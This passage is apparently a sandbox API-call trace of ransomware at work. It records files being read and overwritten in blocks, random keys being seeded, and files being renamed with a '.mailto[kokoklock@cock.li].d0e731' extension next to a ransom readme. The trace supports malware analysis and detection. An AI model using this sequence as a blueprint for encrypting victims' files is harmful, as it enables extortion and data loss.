0x3492b68 [0077.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b68) returned 1 [0077.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.270] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f43fe88, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f43fe88*=0x2000, lpOverlapped=0x0) returned 1 [0077.271] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f43fe50 | out: lpNewFilePointer=0x0) returned 1 [0077.271] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f43fe84, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f43fe84*=0x2000, lpOverlapped=0x0) returned 1 [0077.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b68 [0077.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.271] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492b68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f43fe80, lpOverlapped=0x0 | out: lpBuffer=0x3492b68*, lpNumberOfBytesWritten=0x1f43fe80*=0x20, lpOverlapped=0x0) returned 1 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b68) returned 1 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.271] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f43feac*=0x8, lpOverlapped=0x0) returned 1 [0077.271] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f43fec4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x1f43fec4*, lpNumberOfBytesWritten=0x1f43feac*=0x4, lpOverlapped=0x0) returned 1 [0077.271] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f43feac*=0x4, lpOverlapped=0x0) returned 1 [0077.272] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f43feac*=0x6c, lpOverlapped=0x0) returned 1 [0077.272] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f43feac*=0x20, lpOverlapped=0x0) returned 1 [0077.272] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f43feac*=0x4, lpOverlapped=0x0) returned 1 [0077.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b40) returned 1 [0077.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.272] CloseHandle (hObject=0x8fc) returned 1 [0077.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.272] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" [0077.272] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" [0077.272] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.273] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.273] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl", dwFileAttributes=0x2020) returned 0 [0077.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.273] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.273] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.273] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ea40) returned 1 [0077.273] RtlExitUserThread (Status=0x1) Thread: id = 846 os_tid = 0x143c [0077.275] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl")) returned 0x2020 [0077.275] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl", dwFileAttributes=0x20) returned 1 [0077.275] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.275] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f4bfa88 | out: lpFileSize=0x1f4bfa88*=8192) returned 1 [0077.275] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.275] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f4bfa5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x1f4bfa5c*, lpNumberOfBytesRead=0x1f4bfa58*=0x4, lpOverlapped=0x0) returned 1 [0077.276] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b40 [0077.277] NtQuerySystemTime (in: CurrentTime=0x1f4bfa34 | out: CurrentTime=0x1f4bfa34*=132121176351752515) returned 0x0 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x551e7c5e [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x460cee35 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xa51b200 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xf4e6e847 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xaa9e8d17 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x9d53b537 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x4114a23e [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xcc7461df [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x5d753257 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x805a104e [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xe0b9745c [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x9737fbf9 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x7be15335 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x5918fef7 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x2c128d62 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x7c9f3360 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xfff45642 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x32736705 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x45c479ab [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x597750de [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x758a9b4c [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x9d958166 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x4da36b3a [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x50a5fd58 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x687f574e [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x3926ed37 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x6746fe5e [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xf1a53e50 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xa2e815f9 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x6f435b04 [0077.277] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0x75e00c2e [0077.278] RtlRandom (in: Seed=0x1f4bfa40 | out: Seed=0x1f4bfa40) returned 0xceb55635 [0077.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b90 [0077.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b90) returned 1 [0077.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.288] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f4bfa34, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f4bfa34*=0x2000, lpOverlapped=0x0) returned 1 [0077.289] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f4bf9fc | out: lpNewFilePointer=0x0) returned 1 [0077.289] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f4bfa30, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f4bfa30*=0x2000, lpOverlapped=0x0) returned 1 [0077.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b90 [0077.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.289] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492b90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f4bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3492b90*, lpNumberOfBytesWritten=0x1f4bfa2c*=0x20, lpOverlapped=0x0) returned 1 [0077.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b90) returned 1 [0077.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.290] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f4bfa58*=0x8, lpOverlapped=0x0) returned 1 [0077.290] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f4bfa70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x1f4bfa70*, lpNumberOfBytesWritten=0x1f4bfa58*=0x4, lpOverlapped=0x0) returned 1 [0077.290] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f4bfa58*=0x4, lpOverlapped=0x0) returned 1 [0077.290] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f4bfa58*=0x6c, lpOverlapped=0x0) returned 1 [0077.290] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f4bfa58*=0x20, lpOverlapped=0x0) returned 1 [0077.291] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f4bfa58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f4bfa58*=0x4, lpOverlapped=0x0) returned 1 [0077.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b68) returned 1 [0077.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.291] CloseHandle (hObject=0x8fc) returned 1 [0077.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.291] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" [0077.291] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" [0077.291] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.292] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.292] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl", dwFileAttributes=0x2020) returned 0 [0077.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.292] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.292] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.292] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f128) returned 1 [0077.292] RtlExitUserThread (Status=0x1) Thread: id = 847 os_tid = 0x1440 [0077.305] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl")) returned 0x2020 [0077.306] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl", dwFileAttributes=0x20) returned 1 [0077.306] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.306] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f53fa5c | out: lpFileSize=0x1f53fa5c*=8192) returned 1 [0077.306] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.306] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f53fa30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x1f53fa30*, lpNumberOfBytesRead=0x1f53fa2c*=0x4, lpOverlapped=0x0) returned 1 [0077.308] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b68 [0077.308] NtQuerySystemTime (in: CurrentTime=0x1f53fa08 | out: CurrentTime=0x1f53fa08*=132121176352065339) returned 0x0 [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x60804a4b [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x901130ef [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xe7f6ccea [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xf148595b [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x86be629b [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x5fdf0f84 [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x67386663 [0077.308] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x51b6d4c1 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xa44e94f5 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xfeffda84 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xbea03a1c [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x401d0998 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x74d84592 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xbb7e55fc [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xb807e4f0 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xf4231e9a [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xa476b749 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xd99dbcd [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xe770c128 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x54a249d2 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xed3032a0 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x1579ab55 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x2cd3a389 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x90c7642b [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xdab13f27 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xc5c97828 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xcc56b1aa [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x8ac682e [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0xc7a0131b [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x719758c8 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x75bea6a4 [0077.309] RtlRandom (in: Seed=0x1f53fa14 | out: Seed=0x1f53fa14) returned 0x8b24b224 [0077.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492bb8 [0077.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492bb8) returned 1 [0077.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.320] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f53fa08, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f53fa08*=0x2000, lpOverlapped=0x0) returned 1 [0077.322] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f53f9d0 | out: lpNewFilePointer=0x0) returned 1 [0077.322] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f53fa04, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f53fa04*=0x2000, lpOverlapped=0x0) returned 1 [0077.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492bb8 [0077.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.322] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492bb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f53fa00, lpOverlapped=0x0 | out: lpBuffer=0x3492bb8*, lpNumberOfBytesWritten=0x1f53fa00*=0x20, lpOverlapped=0x0) returned 1 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492bb8) returned 1 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.322] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, 